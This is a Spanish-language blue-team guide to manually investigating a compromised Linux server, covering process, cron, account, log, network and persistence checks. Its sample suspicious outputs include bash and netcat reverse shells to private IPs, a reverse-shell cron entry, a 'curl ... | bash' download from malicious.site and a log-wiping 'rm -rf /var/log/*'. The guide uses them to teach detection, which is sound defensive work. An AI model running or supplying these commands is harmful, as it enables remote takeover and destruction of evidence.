penetration testing
blue-team
digital forensics
linux security
system hardening
Esta guía está diseñada para ayudarte a investigar de manera metódica un incidente en un servidor Linux comprometido. Más que una simple lista de comandos, se trata de una secuencia de pasos guiados con preguntas clave que te permitirán detectar actividad sospechosa, identificar mecanismos de persistencia y aplicar una lógica defensiva sólida, tal como lo haría un analista Blue Team profesional.
Aprender a realizar esta investigación de forma manual no solo fortalece tu criterio analítico, sino que te prepara para enfrentar escenarios reales donde las herramientas automatizadas pueden fallar, estar ausentes o incluso haber sido manipuladas. Además, en muchos entornos restringidos o durante evaluaciones como certificaciones técnicas, no se permite su uso. Esta metodología te enseña a detectar patrones, anomalías y correlaciones por ti mismo, y a justificar cada acción con argumentos sólidos, algo fundamental en contextos forenses y de ciberseguridad profesional.
Preguntas clave:
1uptime
uptime
Muestra cuánto tiempo lleva encendido el sistema y su carga promedio en 1, 5 y 15 minutos.
¿Qué observar? Una carga desproporcionada que puede indicar procesos intensivos o loops maliciosos.
1free -h
free -h
Muestra el uso de memoria RAM y espacio de intercambio (swap) en formato legible.
¿Qué observar? Uso excesivo de swap o poca memoria libre en reposo.
1top # o htop
top
Muestra procesos activos ordenados por consumo de CPU o RAM, en tiempo real.
¿Qué observar? Procesos como python, nc, bash, perl, con alto uso de CPU sin justificación.
1ip a
ip a
Muestra interfaces de red, direcciones IP, estado de las interfaces.
¿Qué observar? Interfaces no esperadas como tun0, docker0, o IPs que no pertenecen a tu red.
Un atacante que ha conseguido acceso al sistema probablemente ejecutará procesos para establecer control, exfiltrar información o mantener persistencia. Revisar los procesos en ejecución te permite detectar actividad fuera de lo común, como shells interactivas, túneles, scripts remotos o procesos disfrazados. Este paso es crucial para identificar malware en memoria o ejecuciones sin archivo.
Preguntas clave:
1ps aux --sort=start_time
ps aux --sort=start_time
lista todos los procesos activos, con información detallada: usuario, uso de CPU, memoria, tiempo de inicio, comando, etc.
El flag --sort=start_time
los ordena por tiempo de arranque, es decir, los que se ejecutaron más recientemente aparecen al final (útil para detectar procesos recientes).
Ejemplo de salida sospechosa:
1root 20312 0.0 0.1 34500 4200 ? Ss 11:05 0:00 /bin/bash -c bash -i >& /dev/tcp/192.168.1.5/4444 0>&1 2nobody 20344 0.0 0.2 19100 5100 ? S 11:05 0:00 nc -e /bin/bash 192.168.1.5 4444
¿Qué observar?
root
que no reconozcasnc
, curl
, python
, bash
, sh
, perl
/tmp/
, /dev/shm/
, /opt/.hidden/
1pstree -p
pstree -p
muestra una vista jerárquica de procesos en forma de árbol. Ideal para ver quién lanzó qué, especialmente si hay procesos hijos ejecutados desde shells ocultas.
Ejemplo de salida sospechosa:
1systemd(1)─┬─cron(623)───bash(10233)───python(10260) 2 └─sshd(1100)───sshd(2044)───bash(2045)───nc(2046)
¿Qué observar?
cron
o systemd
lanzando procesos que no deberíanpython
, bash
, sh
, perl
saliendo de procesos confiablessshd → bash → nc
)1ps aux | grep -v "[" | less
Este comando es útil para concentrarte en procesos de usuarios o scripts, ignorando el “ruido” de procesos internos del sistema.
ps aux
: lista todos los procesos activos del sistema, con información sobre el usuario, el consumo de CPU y memoria, el tiempo de inicio y el comando ejecutado.grep -v "["
: filtra las líneas que contienen corchetes ([ ]
), típicamente usadas por procesos del kernel o internos del sistema (por ejemplo, [kthreadd]
).less
: permite navegar por la salida de forma cómoda y paginada.Ejemplo de salida sospechosa:
1student 4383 0.0 0.1 15600 2800 ? S 11:11 0:00 bash 2student 4390 0.0 0.0 12345 1600 ? S 11:11 0:00 python -c 'import socket,os,pty; s=socket...' 3root 4402 0.0 0.0 17800 2100 ? S 11:11 0:00 sh /tmp/.hidden/backup.sh
¿Qué observar?
bash
, sh
) fuera de sesiones interactivaspython
, perl
, php
para ejecutar scripts desde rutas inusualesssh -R
, curl
, wget
, socat
, nc
)Las tareas programadas pueden ser utilizadas por atacantes para mantener persistencia en el sistema, ejecutar shells reversas o automatizar malware.
Preguntas clave:
1ls /etc/cron.d/ && cat /etc/cron.d/* && crontab -l
Este conjunto de comandos ayuda a identificar tareas programadas de forma persistente, tanto a nivel de sistema como por usuarios individuales.
ls /etc/cron.d/
: lista los cronjobs definidos por el sistema.cat /etc/cron.d/*
: muestra el contenido de los cronjobs ubicados en esa ruta.crontab -l
: lista las tareas programadas del usuario actual.Ejemplo de cronjob malicioso:
1*/5 * * * * root bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
¿Qué observar? Tareas ejecutadas por root
cada pocos minutos sin justificación clara o scripts con rutas inusuales como /tmp
, /opt/.scripts/
, .backup
, .monitor
La sintaxis de un cronjob tiene 5 campos de tiempo:
Campo | Valor | Significado |
---|---|---|
Minuto | */5 | Cada 5 minutos (00, 05, 10, ..., 55) |
Hora | * | Todas las horas (00–23) |
Día del mes | * | Todos los días del mes |
Mes | * | Todos los meses |
Día de semana | * | Todos los días de la semana |
En caso de que quieras para verificar o visualizarlo, puedes usar herramientas como: https://crontab.guru. Solo copia y pega */5 * * * *
y verás una explicación en texto claro.
Una de las formas más comunes de persistencia es la creación de usuarios ocultos o el abuso de cuentas existentes con shells activas. Es fundamental revisar quién tiene permitido acceder al sistema de forma interactiva.
Preguntas clave:
Comando útil:
1cat /etc/passwd | grep -v "/usr/sbin/nologin"
Muestra los usuarios del sistema que tienen acceso a una shell interactiva, excluyendo cuentas del sistema o bloqueadas (como las que usan /usr/sbin/nologin
).
Ejemplo sospechoso:
1backup:x:1003:1003::/opt/backup:/bin/bash 2sysadmin:x:1010:1010::/var/tmp/sysadmin:/bin/sh
¿Qué observar?
backup
, sysadmin
, datauser
)/bin/bash
o directorios home inusuales (como /var/tmp/
, /opt/
)Comando útil:
1last -a
last -a
Muestra los últimos inicios de sesión del sistema, indicando el nombre de usuario, la terminal utilizada, la dirección IP y la duración de la sesión.
Ejemplo sospechoso:
1admin pts/0 203.0.113.45 Tue Jun 11 03:24 still logged in
¿Qué observar?
Comando útil:
1grep "Failed password" /var/log/auth.log
Busca intentos fallidos de autenticación, normalmente relacionados con accesos SSH o servicios que requieren contraseña.
Ejemplo sospechoso:
1Failed password for invalid user admin from 203.0.113.45 port 51190 ssh2 2Failed password for root from 203.0.113.12 port 58721 ssh2
¿Qué observar?
Los archivos de log son una fuente vital para reconstruir lo que ocurrió en un sistema. Permiten rastrear accesos, comandos ejecutados y errores que podrían haber sido causados por un atacante. Analizar los logs clave del sistema te ayuda a detectar actividad anómala, identificar accesos remotos, intentos de fuerza bruta o ejecución de comandos no autorizados.
Preguntas clave:
1grep -i "ssh" /var/log/auth.log
Muestra líneas del log relacionadas con conexiones SSH (éxito y error).
Ejemplo de salida sospechosa:
Accepted password for root from 203.0.113.5 port 50100 ssh2
¿Qué observar?
Comando útil:
1journalctl -xe
journalctl -xe
Muestra eventos críticos del sistema, incluyendo fallos, accesos, y errores de servicios.
Ejemplo de salida sospechosa:
sshd[1402]: Failed password for invalid user admin from 198.51.100.77 port 41442
¿Qué observar?
Comando útil:
1cat ~/.bash_history
cat ~/.bash_history
Muestra los últimos comandos ejecutados por el usuario actual en su terminal.
Ejemplo de salida sospechosa:
curl http://malicious.site/shell.sh | bash
chmod +x /tmp/cleaner.sh
rm -rf /var/log/*
¿Qué observar?
El tráfico de red y las reglas del firewall pueden revelar mucho sobre la actividad de un sistema comprometido. Los atacantes suelen abrir puertos adicionales, establecer túneles de salida o modificar reglas de firewall para mantener el control o evadir detección. Inspeccionar los puertos en uso y las reglas activas es clave para detectar conexiones sospechosas o salidas no autorizadas.
Preguntas clave:
1ss -tuln
Muestra sockets abiertos y servicios escuchando en puertos TCP/UDP.
Ejemplo de salida sospechosa:
LISTEN 0 5 0.0.0.0:4444 0.0.0.0:* users:("bash",pid=20312,fd=3)
¿Qué observar?
Comando útil:
1iptables -L -n -v
iptables -L -n -v
Lista reglas del firewall activas, sin resolver nombres DNS.
Ejemplo de salida sospechosa:
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0
¿Qué observar?
Una vez que un atacante compromete un sistema, suele dejar mecanismos para volver a ingresar sin necesidad de explotar la misma vulnerabilidad. Estas persistencias pueden estar en forma de scripts que se ejecutan al iniciar, servicios falsos, tareas programadas o incluso binarios modificados. Detectarlas a tiempo es esencial para cortar el acceso del atacante y restaurar la integridad del sistema.
Preguntas clave:
/etc/init.d/
, /lib/systemd/
, /opt/
, /tmp/
?Comando util:
1ls -la /usr/local/bin/
Muestra archivos ejecutables locales personalizados.
Ejemplo de salida sospechosa:
-rwxr-xr-x 1 root root 1243 Jun 11 11:05 updater.sh
¿Qué observar? Scripts o binarios con fechas recientes o nombres extraños o permisos ejecutables sobre archivos sospechosos
Comando útil:
1find /opt -type f -iname "*.sh"
Busca scripts .sh
en todo el directorio /opt
, comúnmente usado para almacenamiento auxiliar.
Ejemplo de salida sospechosa:
/opt/.backup/install.sh
/opt/data/cleanup.sh
¿Qué observar? Scripts con nombres ambiguos o maliciosos (check.sh, cleaner.sh, update.sh)
Comando útil:
1cat /etc/rc.local
Muestra el contenido del script de inicio rc.local, si está habilitado.
Ejemplo de línea maliciosa:
bash -i >& /dev/tcp/192.168.1.50/9001 0>&1
¿Qué observar? Comandos que ejecutan scripts al inicio del sistema o redirecciones hacia IPs externas
Comando útil:
1systemctl list-units --type=service --state=running
Muestra servicios activos gestionados por systemd
.
Ejemplo de salida sospechosa:
logrotate-backup.service loaded active running Backup Service
¿Qué observar? Servicios con nombres poco comunes o duplicados o scripts que no deberían iniciar con el sistema
Documenta tus hallazgos con capturas o evidencias, enumera qué eliminarías, qué bloquearías y qué reforzarías y si es posible, comparte los hallazgos con otro compañero para validación.
Preguntas clave:
En resumen: Esta metodología es profesional, pedagógica y aplicable a entornos reales. Las herramientas pueden ayudar, pero el criterio del analista es insustituible.